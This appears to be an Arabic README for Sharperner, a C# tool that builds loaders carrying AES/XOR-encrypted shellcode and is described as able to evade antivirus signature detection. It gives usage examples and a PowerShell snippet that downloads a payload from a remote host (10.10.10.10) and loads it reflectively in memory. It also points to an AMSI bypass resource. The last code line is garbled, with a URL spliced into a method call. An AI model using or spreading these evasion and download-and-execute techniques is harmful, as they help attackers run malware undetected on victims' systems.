
مولد بسيط للملفات القابلة للتنفيذ مع شيلكود مشفر.
Sharperner هي أداة مكتوبة بلغة CSharp تقوم بتوليد محمل .NET بشيفرة shellcode مشفرة باستخدام AES و XOR. يمكن للملف التنفيذي المولد أن يتجاوز فحص التوقيعات ولكن لا يمكنني التأكد من قدرته على تجاوز الفحص الاستدلالي.
/file B64,hex,raw shellcode
/type cs,cpp
/out Output file Location (Optional)
Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe
لتجنب لمس القرص، يمكن تحميل الملف التنفيذي .NET المولد بشكل انعكاسي باستخدام PowerShell. AMSI هو العدو الآن، amsi.fail للفوز!
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()